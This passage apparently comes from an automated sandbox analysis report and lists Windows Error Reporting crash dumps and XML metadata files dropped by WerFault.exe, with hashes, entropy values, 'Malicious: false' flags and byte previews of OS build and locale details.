8.6.6.9.!.9.7.N.T.8.D.O.3.J.B...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2FC7.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 19 20:35:54 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	63042
Entropy (8bit):	2.179482889297243
Encrypted:	false
SSDEEP:	384:SLYhd/Gz1rs5xNfYCht64fb8sZiXwZGv9tNX7Eb8t85:SUfuzZANf6kb1iXwZGv9teX
MD5:	BEAB51F5B069DA9179DA894B48E3A1B8
SHA1:	CBC1BEC6B7FA4D27B128202685FD72EED40D62DD
SHA-256:	9B6D53B13D9BA5FC89DB6F5018782FA7299B60A903E0C92A947A206A533C0763
SHA-512:	AEDB37AFCE4E513E403E82FABFCB52FAF551D5B36EC6FBD607E4C9EC19A6061D2696A2DC7C349CBA23045AAB87E9C70E792673179BD513DB8D0DF79B7F23096D
Malicious:	false
Preview:	MDMP..a..... ........."f........................\...........$....-..........T.......8...........T........... ..."...........X...........D...............................................................................eJ..............GenuineIntel............T............."f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3055.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8422
Entropy (8bit):	3.701296333134444
Encrypted:	false
SSDEEP:	192:R6l7wVeJR/6I7+De6Y9cSUl7gmfb9pB089bvvsfQTFm:R6lXJZ6I776YGSUl7gmfbDvUfQs
MD5:	EB2A47F8A5E5B9201D7CE2223AA8B0EE
SHA1:	678A8118200B565A4A42F8B8C35802DDDEDDCC29
SHA-256:	F66A7A0CF55D73B4B7F914E598C6EAE2065883C12BF7EACEF27EAB9A7E126607
SHA-512:	7F6054F7A4CCDB1AD38590095FAB1329C60EE3A18A6FCF389BE8B6A38028D40A280ED6B16C740415BD2BC59D35F097162AC93AD8FEE8387FED18C8D0F2EE4095
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.4.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3084.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.497921325789048
Encrypted:	false
SSDEEP:	48:cvIwWl8zs8Jg77aI9TiZWpW8VYgYm8M4JmvgJF3+q8vZgEMdtd:uIjf6I7Uo7VcJ7KDMdtd
MD5:	256B8567313590FD979799CF3377AFEC
SHA1:	8026512D359A1FC8F7B5F80CBE73F4AF0F73DD9D
SHA-256:	01657161DDA39B5C9F0FAC12CA9E4A518E79CD183162908C80A580792382A5FB
SHA-512:	DAD11881042BF9983B6B208D50E15C761B6C1AB3100B60E60A3E2568325F853976ECB20D42EC6F8251EC3CAF4E073C0CA3F834B2EF34DD1237242B1290DD49BB
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="287258" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3219.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 19 20:35:54 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	62934
Entropy (8bit):	2.205692407842432
Encrypted:	false
SSDEEP:	384:sYhd/tzm9wfYCgs1mlt64fb8sZiLwZGv9tN+rbBt5k:Xf1z2wUZ6kb1iLwZGv9tke
MD5:	4A6E46C3546CCEB0AC2F4DD3835756BF
SHA1:	F2E947E81861A280D618A954E160E31ED4261C6F
SHA-256:	A7537F381951042E64B8DABA3B9FB6EF5C657174218AEC69EA0FF9E015CFE900
SHA-512:	8404EEA536ACA64A4DFEC3EE094324870429B2F89F7265F2C62493C8845A0AF694F1DEBF3F12FF38F1BAD5394E3B291AC8EE8CC81B2457BD67D381251271F326
Malicious:	false
Preview:	MDMP..a..... ........."f........................\...........$....-..........T.......8...........T...............>...........X...........D...............................................................................eJ..............GenuineIntel............T............."f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3268.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8422
Entropy (8bit):	3.700517173587705
Encrypted:	false
SSDEEP:	192:R6l7wVeJR36I7F6Y9OSUJLgmfb9pBv89bvvsfd7Fm:R6lXJB6I7F6Y0SUJLgmfbyvUfd0
MD5:	13BBD71994F9E5B86A45AC9DA241A4EF
SHA1:	56F1BFE2062D7B4708BB8FF29CFDE94708135123
SHA-256:	9BEC0009356E05A7114E9D394A1C1F521C6BFF0E8F56F50979CA161B32FC4866
SHA-512:	738139030134F4DD80AB660CEC77C867F07A0A4F120FFDF970A14807138A5C2FCDA1CFF169BA4AC88CDF1F896F1F2F2CEB9547D647883D9E7104AD372ED7AAA6
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.4.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3288.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.495967764947495
Encrypted:	false
SSDEEP:	48:cvIwWl8zs8Jg77aI9TiZWpW8VYVHYm8M4JmvgJFGm+q8vZgEMdtd:uIjf6I7Uo7VNJ6mKDMdtd
MD5:	3302B3AEF809A491F8347AFB2520634B
SHA1:	46011092EEDB373C03B0EACE8912DB8EF3CBE9E5
SHA-256:	9861BC4C0885BEF7611F0B72212E03C9652E5E21B0DA604801230F7273EA6262
SHA-512:	CD7296D9BAE64A1331E005063747872F9F319983245E7E9566F1FA1247D5959A2F7C3F9B754266E05371E2E6549C7731CE8BD0AA574F987C0C28FFCEA0D03592
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="287258" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER34F7.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 19 20:35:55 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	72626
Entropy (8bit):	1.96689297268973
Encrypted:	false
SSDEEP:	384:9IgeBSTusIz6m7hCNsaiHsZiLwZGv9tNdqbTzFAFhi:9BewT9Iz6iOpiLwZGv9tSVAFh
MD5:	A0C9BA418A370AFFB5182CECB8EE926A
SHA1:	74DFD3858333E0E51E64DA563B94E67308439627
SHA-256:	66C08C1028934D700CE252D8FC72AA93D257F19F90AE65EDA72CFF7AE65663AF
SHA-512:	ADF897061731E64412A19FB52835789551C4BC6559BC526CB13EC72501F7ED3D887D61F22DD1FFE7DA1B9BC607622C2529C98659240CDDC2AADA1A5D2F9D3D8A
Malicious:	false
Preview:	MDMP..a..... ........."f............T...........\...\.......$....3..........T.......8...........T...........(...........................................................................................................eJ......<.......GenuineIntel............T............."f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3556.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8424
Entropy (8bit):	3.7002567570843024
Encrypted:	false
SSDEEP:	192:R6l7wVeJRt6IYiY6Y9qSU1SaMgmfb9pBRC89bmvsfHCm:R6lXJb6IYV6YgSUspgmfbr7mUfz
MD5:	C8EC941A965240067D2C85C6BBE715EC
SHA1:	4D971AD7950508F5A5A9B9A13356AD5604376EB9
SHA-256:	B6B0829197BCD252F352FB1DBADD4311B7A1E18976C7BA48B266CDCDF688BF52
SHA-512:	DE43D4815999BB5F4D4EE3C14D52AA5497FEE698B07EAA6425DC6918F1B6C75FCC797E929B6B1C0C1D76F95652E6085366E21538CCBCF0BAE8F7E472589CE501
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.4.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3566.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.498803148095946
Encrypted:	false
SSDEEP:	48:cvIwWl8zs8Jg77aI9TiZWpW8VY9Ym8M4JmvgJF5+q8vZgEMdtd:uIjf6I7Uo7VpJdKDMdtd
MD5:	D0E59A761018F4F7825E019B0131B5F5
SHA1:	E2FB86731AF2512AD95A4C4A5B53601109FBFB85
SHA-256:	E9C45C745EB17BEB8B98E823A4F6BD6C947CF629F8E5AA842E82B98D4DC80FFE
SHA-512:	9842A82C55A3789896F2D9ADB8073E766869E4E106F9F0FAFE70DB3AB19E83D1DC2A27A6D84BA3592A53BE054496DC2061B4B68F6E1987DF8A94F521B34B4728
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="287258" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER36EB.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 19 20:35:55 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	72182
Entropy (8bit):	1.977518764563967
Encrypted:	false
SSDEEP:	384:7geBSTC2pzWn73sC8CL7sZiLwZGv9tNdJbg2Qbi:MewTC2pzW73wiLwZGv9tREu
MD5:	CC820A1056EE9DF22DC2B2D9EEBDED2C
SHA1:	DBD61611195136A09BBDADDFADCE44CB0FE9B377
SHA-256:	2376300C9D58A1A96E122B56FEF4AE0C16966C58FEC8067DDB63B86EEE288921
SHA-512:	803708667B69F4088876ADB31B123DCDCEECD0001C4438ECD09F2F33E42C4AB2CEDE400A59243522B1E19130B709AC9EEBBFF96EC1034C4CFA06F3A2C14D074C
Malicious:	false
Preview:	MDMP..a..... ........."f............T...........\...\.......$....3..........T.......8...........T...........(...........................................................................................................eJ......<.......GenuineIntel............T............."f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3759.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8424
Entropy (8bit):	3.69953998339207
Encrypted:	false
SSDEEP:	192:R6l7wVeJRz6IYAgY6Y9flSU+Cagmfb9pBa89b9vsfJfm:R6lXJF6IYi6YllSUFagmfbR9UfM
MD5:	2209485B54F925EE1D2FEDB7F7BFE9CF
SHA1:	B411E629E1171B59AD9CEBC3D76E46E70529C6F3
SHA-256:	E26EF78D10D74175C57DFA8ECD20A459FF1931A2A2C8B24B8D93E87208572587
SHA-512:	EFD97C1387CB9A1813FE63166BBA644C0D4DC747BDF7C9F44BE941AD48972D68858F7ECD0C3B438262FF1DE7FE4C611EBFF17A5A691DADC8DBC633F22ADCA044
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.4.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER377A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.496981466706677
Encrypted:	false
SSDEEP:	48:cvIwWl8zs8Jg77aI9TiZWpW8VY8Ym8M4JmvgJFu7G+q8vZgEMdtd:uIjf6I7Uo7VEJrKDMdtd
MD5:	EF7B059815C212FAF89444FE7EC3DF55
SHA1:	E9114C1FCE841B41651EA040A37051AA596BFE67
SHA-256:	ABD9BBD3FC46D7B0F65BF3AA436A186B4380269F5804D2ED783C61BF59CF2ACB
SHA-512:	9881BD5A8D0F7C554F726530C7152D130417761C161E3BBB60EB62E356C2CA8476C0E16CC2F27D79D537F011421C3E735955598358792765A4D9D5628BB7CB8A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="287258" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER393D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 19 20:35:56 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	79226
Entropy (8bit):	1.9443747809616283
Encrypted:	false
SSDEEP:	384:LiJozf1Az78LsGUTMCoCxLwZGv9tNdkbHeDdZiUnK:cif1Az7uMT1LwZGv9tIAwA
MD5:	4414C3FB3227B3739C7D344A51582862
SHA1:	0F80C0F2914E6D80A88D3C0E054F490564E2029A
SHA-256:	A3F5CF042FB94D7FCFA315E9218A81457899C1AF8CE5FD1BBD3D12DCBE41395F
SHA-512:	D8105F4608F188060429D36245639B19550D9D9DED0C216FE003FBC32014857253EC9BEC60439A5DA18936D67278BA2F48C712275C8CD57D8D75AB44EED10E42
Malicious:	false
Preview:	MDMP..a..... ........."f........................4...........D....7..........T.......8...........T............&..........................................................................................................eJ......D.......GenuineIntel............T............."f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER399C.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8424
Entropy (8bit):	3.702545806150804
Encrypted:	false
SSDEEP:	192:R6l7wVeJRo6I7f6Y93SU+Ougmfb9pBM89b9vsf0yfm:R6lXJe6I7f6Y9SUxugmfbL9Uf2
MD5:	DF6525B60E45DF0290330CAC3EACAD8D
SHA1:	2F6761E0A543A46263A0C3458A743DADFFA0E419
SHA-256:	2045D00BE9805BF895557F433487616326080C6CE9791AAFF4D27F3A0E72CC68
SHA-512:	68F1EBD9C37D43008B93E4762BDABD2DAAAE5B7A8B78AC716C7013B5F2442485D3BF997629934B12C9DB7759E6870E791BB4E6DE39274735379256274592A790
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.4.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER39CB.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.499719271758813
Encrypted:	false
SSDEEP:	48:cvIwWl8zs8Jg77aI9TiZWpW8VYxYm8M4JmvgJF9+q8vZgEMdtd:uIjf6I7Uo7VBJ5KDMdtd
MD5:	213886DE21F1EC080C52E83C618F477E
SHA1:	528CEACF927C20389EBB39A07911512055BE0C75
SHA-256:	9AC4E0182D16DB44C21EAA9C3C1F3388EAA15F697576BADE5C9AF7EB5D0F5016
SHA-512:	27621368E820CE95D44CF631B51E785B4EB6A6337A4591611F0FEFF9543A739437EC5FB696C59D33F115F3C17851C3BD6D38A93F4BE13E107A421A52A561F21D
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="287258" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3B7F.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 19 20:35:57 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	87836
Entropy (8bit):	1.9479653214456283
Encrypted:	false
SSDEEP:	384:UUf9u7DMz+A8lOqo0AMCD4sQQXxLwZGv9tNd2bJaf3mZqzGEG:pu3MzHqlAc2LwZGv9te4fmE
